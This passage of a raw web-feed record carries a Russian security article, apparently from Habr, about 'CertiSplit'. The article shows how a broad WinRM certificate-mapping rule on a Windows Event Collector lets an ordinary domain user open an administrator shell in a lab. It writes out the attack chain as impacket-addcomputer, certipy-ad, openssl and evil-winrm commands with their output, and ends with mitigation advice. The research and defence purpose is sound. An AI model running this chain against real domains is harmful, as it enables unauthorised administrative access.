\u043f\u0430\u0440\u043e\u043b\u044c\u043d\u0430\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0442\u043e\u0439 \u0436\u0435 \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u0442\u0441\u044f\u00a0<code>WinRMAuthorizationError<\/code>. \u042d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u043d\u043e \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 UAC.<\/p>\n<p><strong>\u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434:<\/strong>\u00a0\u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c CertiSplit \u043a\u0430\u043a \u0440\u0438\u0441\u043a \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438, \u0430 \u043d\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Windows, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u2014 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0442\u044c mapping \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u043c EventLog \u0438 \u043d\u0435 \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0431\u0435\u0437 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u0443\u044e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u0443\u044e \u0443\u0447\u0451\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c.<\/p>\n<\/div>\n<p>\u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/1097360\/\">https:\/\/habr.com\/ru\/articles\/1097360\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u041f\u0440\u0438\u0432\u0435\u0442! \u0421\u0435\u0433\u043e\u0434\u043d\u044f \u0440\u0430\u0437\u0431\u0435\u0440\u0451\u043c \u043d\u0435\u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 Windows, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u043f\u0440\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0438\u00a0Windows Event Collector (WEC)\u00a0\u0438\u00a0WinRM certificate authentication.\u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043c \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044e: \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u043e\u0431\u044b\u0447\u043d\u0430\u044f \u0434\u043e\u043c\u0435\u043d\u043d\u0430\u044f \u0423\u0417 \u0431\u0435\u0437 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u0440\u0430\u0432. \u041c\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0434\u043b\u044f \u043d\u0435\u0451 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u043e\u0442 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0423\u0426, \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u0441\u044f \u043a WEC \u043f\u043e WinRM HTTPS \u0438 \u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u043c\u0441\u044f \u0432 PowerShell-\u0441\u0435\u0441\u0441\u0438\u0438\u00a0\u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043a\u043e\u043b\u043b\u0435\u043a\u0442\u043e\u0440\u0430. \u0411\u0435\u0437 \u043a\u0440\u0430\u0436\u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432, \u043f\u043e\u0434\u043c\u0435\u043d\u044b SID, ESC-\u0430\u0442\u0430\u043a \u0438\u043b\u0438 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 CA.\u0417\u0432\u0443\u0447\u0438\u0442 \u0441\u0442\u0440\u0430\u043d\u043d\u043e, \u043d\u043e \u0432\u0441\u044f \u043c\u0430\u0433\u0438\u044f \u0432 \u043e\u0434\u043d\u043e\u043c \u043f\u0440\u0430\u0432\u0438\u043b\u0435 \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432. \u0418\u0441\u0441\u043b\u0435\u0434\u0443\u0435\u043c\u044b\u0439 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u044f \u043d\u0430\u0437\u0432\u0430\u043b &#171;CertiSplit&#187;. \u041d\u0438\u0436\u0435 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u043a\u0430\u043a \u043e\u043d \u0443\u0441\u0442\u0440\u043e\u0435\u043d, \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0451\u043c \u0434\u0432\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430, \u0440\u0430\u0437\u0431\u0435\u0440\u0451\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0435 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u044b \u0438, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u043d\u0430\u0439\u0434\u0451\u043c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b.\u0415\u0441\u0442\u044c \u0438 \u0432\u0442\u043e\u0440\u043e\u0439 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442:\u00a0\u0434\u0430\u0436\u0435 \u043f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u043c UAC \u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u043c\u00a0LocalAccountTokenFilterPolicy=0\u00a0\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043d\u044b\u0439 \u0432\u0445\u043e\u0434 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u043b \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0439 shell. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043f\u0440\u044f\u043c\u043e\u0439 \u0432\u0445\u043e\u0434 \u043f\u043e \u043f\u0430\u0440\u043e\u043b\u044e \u043f\u043e\u0434 \u0442\u043e\u0439 \u0436\u0435 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0423\u0417 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043b\u0441\u044f. \u041a \u044d\u0442\u043e\u043c\u0443 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044e \u0432\u0435\u0440\u043d\u0451\u043c\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u2014 \u043e\u043d\u043e \u043c\u043d\u043e\u0433\u043e\u0435 \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0435\u0442.\u0422\u0435\u043e\u0440\u0438\u044f: \u043f\u0440\u0438 \u0447\u0451\u043c \u0437\u0434\u0435\u0441\u044c WEC \u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b?Windows Event Collector\u00a0\u2014 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 Windows, \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u044e\u0449\u0438\u0439 \u0441\u043e\u0431\u044b\u0442\u0438\u044f \u043e\u0442 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432. \u0412 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0435\u00a0source-initiated subscription\u00a0\u0441\u0430\u043c\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u044b\u0442\u0438\u044f \u043a\u043e\u043b\u043b\u0435\u043a\u0442\u043e\u0440\u0443. \u0414\u043b\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f WS-Management\/WinRM, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u043e HTTPS (TCP\/5986) \u0441 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u043c\u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430\u043c\u0438.\u0412\u00a0\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 Microsoft \u043f\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0435 WEC \u0441 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430\u043c\u0438\u00a0\u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u0443\u0447\u0451\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435-\u043a\u043e\u043b\u043b\u0435\u043a\u0442\u043e\u0440\u0435, \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0435\u0451 \u0432\u00a0Administrators\u00a0\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c certificate mapping:winrm create winrm\/config\/service\/certmapping?Issuer=&lt;CA_THUMBPRINT&gt;+Subject=*+URI=* &#8216;@{UserName=&#187;&lt;LOCAL_USER&gt;&#187;;Password=&#187;&lt;PASSWORD&gt;&#187;}&#8217; -remote:localhost\u0412 \u043c\u043e\u0435\u0439 \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:Issuer \u00a0 = 8BD6095055F61EACD707227A2DD151D91A2DB5C2Subject \u00a0= *URI \u00a0 \u00a0 \u00a0= *UserName = SRV01\\CERTMAP-ADMINEnabled \u00a0= true\u0417\u0434\u0435\u0441\u044c \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0442\u0440\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430:Issuer\u00a0\u2014 \u043e\u0442\u043f\u0435\u0447\u0430\u0442\u043e\u043a \u0423\u0426, \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u0432\u0448\u0435\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0439 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442.Subject=*\u00a0\u2014 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043e \u043e\u0434\u043d\u0438\u043c \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u043e\u043c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430.URI=*\u00a0\u2014 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043c\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043a \u0440\u0435\u0441\u0443\u0440\u0441\u0443 \u043f\u0435\u0440\u0435\u0441\u044b\u043b\u043a\u0438 \u0441\u043e\u0431\u044b\u0442\u0438\u0439 WEC, \u043d\u043e \u0438 \u043a \u0434\u0440\u0443\u0433\u0438\u043c \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c WS-Management, \u0432\u043a\u043b\u044e\u0447\u0430\u044f\u00a0WinRM shell.\u041f\u043e\u0441\u043b\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 WinRM \u043d\u0430\u0445\u043e\u0434\u0438\u0442 \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0435\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u0443\u044e \u0432 \u043d\u0451\u043c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u0423\u0417. \u0415\u0441\u043b\u0438 \u044d\u0442\u043e \u0447\u043b\u0435\u043d\u00a0Administrators\u00a0\u0438 \u0440\u0435\u0441\u0443\u0440\u0441 shell \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434:\u00a0\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0432\u044b\u0434\u0430\u043d \u043e\u0431\u044b\u0447\u043d\u043e\u043c\u0443 \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u0443 AD, \u0430 \u0441\u0435\u0430\u043d\u0441 \u043d\u0430 WEC \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0434\u0440\u0443\u0433\u043e\u0433\u043e, \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\u0421\u0445\u0435\u043c\u0430\u0442\u0438\u0447\u043d\u043e:\u042d\u0442\u043e\u00a0\u043d\u0435 \u043e\u0431\u0445\u043e\u0434\u00a0Issuer,\u00a0Subject\u00a0\u0438\u043b\u0438\u00a0URI: \u0434\u0430\u043b\u0435\u0435 \u043c\u044b \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0443\u0431\u0435\u0434\u0438\u043c\u0441\u044f, \u0447\u0442\u043e URI-\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044f \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 \u0448\u0438\u0440\u043e\u043a\u043e\u0439 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0435 \u0434\u043e\u0432\u0435\u0440\u0438\u044f \u0438 \u043f\u0440\u0430\u0432\u0430\u0445 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430, \u043a \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u043f\u0440\u0438\u0432\u044f\u0437\u0430\u043d \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442.\u0415\u0441\u0442\u044c \u0432\u0430\u0436\u043d\u044b\u0439 \u043d\u044e\u0430\u043d\u0441:\u00a0Microsoft \u0432 \u0442\u043e\u0439 \u0436\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438\u00a0\u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u0443\u044e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u0423\u0417 \u043c\u043e\u0436\u043d\u043e (\u0442\u0443\u0442 \u043f\u0440\u043e\u0448\u0443 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u044d\u0442\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f) \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u043f\u043e\u0441\u043b\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 WEC: \u0434\u043b\u044f \u0441\u0430\u043c\u043e\u0439 \u043f\u0435\u0440\u0435\u0441\u044b\u043b\u043a\u0438 \u0441\u043e\u0431\u044b\u0442\u0438\u0439 \u043e\u043d\u0430 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f impersonation. \u0422\u043e \u0435\u0441\u0442\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442, \u0435\u0441\u043b\u0438 \u0448\u0438\u0440\u043e\u043a\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043e\u0441\u0442\u0430\u043b\u0438\u0441\u044c \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\u041f\u0440\u0430\u043a\u0442\u0438\u043a\u0430: \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0439 shell\u0414\u043b\u044f \u0442\u0435\u0441\u0442\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0441\u0442\u0435\u043d\u0434:\u041a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u0414\u043e\u043c\u0435\u043d \/ CAtest.local\u00a0\/\u00a0TEST-ROOT-CADC + AD CSdc01.test.local\u00a0(192.168.1.1)WECsrv01.test.local\u00a0(192.168.1.20)\u0426\u0435\u043b\u0435\u0432\u0430\u044f \u041e\u0421Windows Server 2019, build\u00a017763.9020,\u00a0KB5099538WinRM HTTPS5986\/TCP\u0418\u0441\u0445\u043e\u0434\u043d\u0430\u044f \u0423\u0417TEST\\bob\u00a0\u2014 \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u0434\u043e\u043c\u0435\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0421\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0423\u0417SRV01\\CERTMAP-ADMIN\u00a0\u2014 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0412\u0430\u0440\u0438\u0430\u043d\u0442 \u2116 1. Machine-\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0447\u0435\u0440\u0435\u0437 MachineAccountQuota\u0412\u0434\u043e\u0445\u043d\u043e\u0432\u0438\u0432\u0448\u0438\u0441\u044c \u0441\u0438\u043b\u043e\u0439 MAQ \u0432 Certighost, \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u044f \u043f\u043e\u0448\u0451\u043b \u0447\u0435\u0440\u0435\u0437 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0443\u00a0TEST\\bob\u00a0\u043d\u0435 \u0431\u044b\u043b\u043e \u043f\u0440\u0430\u0432 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0434\u043e\u043c\u0435\u043d\u0430 \u2014 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u044b\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u044b, \u0435\u0441\u043b\u0438 \u043e\u043d\u0430 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0430 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0435\u0439 AD.\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c\u00a0ms-DS-MachineAccountQuota\u00a0\u0447\u0435\u0440\u0435\u0437 LDAP:ldapsearch -x -H ldap:\/\/192.168.1.1 -D &#8216;bob@test.local&#8217; -W \\\u00a0 -b &#8216;DC=test,DC=local&#8217; -s base ms-DS-MachineAccountQuota\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442:ms-DS-MachineAccountQuota: 10\u0421\u043e\u0437\u0434\u0430\u0451\u043c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u0443\u044e \u043c\u0430\u0448\u0438\u043d\u043d\u0443\u044e \u0423\u0417:impacket-addcomputer -dc-ip 192.168.1.1 \\\u00a0 -computer-name &#8216;BOBPC01$&#8217; \\\u00a0 -computer-pass &#8216;&lt;LAB_MACHINE_PASSWORD&gt;&#8217; \\\u00a0 &#8216;test.local\/bob&#8217;Successfully added machine account BOBPC01$\u0414\u043b\u044f \u043e\u0431\u044a\u0435\u043a\u0442\u0430 \u0437\u0430\u0434\u0430\u0432\u0430\u043b\u0438\u0441\u044c\u00a0dNSHostName=bobpc01.test.local\u00a0\u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435\u00a0HOST\/\u00a0\u0438\u00a0RestrictedKrbHost\/\u00a0SPN. \u0417\u0430\u0442\u0435\u043c \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u044b \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c\u00a0\u043e\u0431\u044b\u0447\u043d\u044b\u0439\u00a0\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0438\u0437 \u0448\u0430\u0431\u043b\u043e\u043d\u0430\u00a0Machine:certipy-ad req \\\u00a0 -u &#8216;BOBPC01$@test.local&#8217; \\\u00a0 -p &#8216;&lt;LAB_MACHINE_PASSWORD&gt;&#8217; \\\u00a0 -dc-ip 192.168.1.1 \\\u00a0 -target dc01.test.local \\\u00a0 -ca TEST-ROOT-CA \\\u00a0 -template Machine \\\u00a0 -out bobpc01Successfully requested certificateSaved certificate and private key to bobpc01.pfx\u041d\u0438\u043a\u0430\u043a\u043e\u0433\u043e ESC-\u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f \u0437\u0434\u0435\u0441\u044c \u043d\u0435\u0442. \u0421\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u00a0\u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e \u0432\u044b\u043f\u0443\u0449\u0435\u043d \u0434\u043b\u044f\u00a0BOBPC01$\u00a0\u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435:Subject: CN=bobpc01.test.localIssuer: TEST-ROOT-CAEKU: Client AuthenticationStrong SID extension: 1.3.6.1.4.1.311.25.2SID-\u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440, \u0430 \u043d\u0435 \u043d\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 WEC. \u042d\u0442\u043e \u0432\u0430\u0436\u043d\u043e: \u043c\u044b \u043d\u0435 \u043f\u044b\u0442\u0430\u0435\u043c\u0441\u044f \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c AD CS \u0432\u044b\u0434\u0430\u0442\u044c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u043d\u0430 \u0447\u0443\u0436\u0443\u044e \u0423\u0417.\u042d\u043a\u0441\u043f\u043e\u0440\u0442\u0438\u0440\u0443\u0435\u043c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0438 \u043a\u043b\u044e\u0447 \u0432 PEM \u0434\u043b\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u0430 WinRM:openssl pkcs12 -in bobpc01.pfx -clcerts -nokeys \\\u00a0 -out bobpc01.crt.pem -passin pass:openssl pkcs12 -in bobpc01.pfx -nocerts -nodes \\\u00a0 -out bobpc01.key.pem -passin pass:\u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u0441\u044f \u043a WEC:evil-winrm -i srv01.test.local -S -P 5986 \\\u00a0 -c bobpc01.crt.pem -k bobpc01.key.pem\u0418 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c:*Evil-WinRM* PS C:\\Users\\CERTMAP-ADMIN\\Documents&gt;\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u043a\u0442\u043e \u043c\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435:whoami \/userwhoami \/groupswhoami \/priv\u041d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442:User: srv01\\certmap-adminGroup: BUILTIN\\Administrators (S-1-5-32-544)Integrity: High Mandatory Level (S-1-16-12288)Enabled privileges:\u00a0 SeDebugPrivilege\u00a0 SeBackupPrivilege\u00a0 SeRestorePrivilege\u00a0 SeTakeOwnershipPrivilege\u00a0 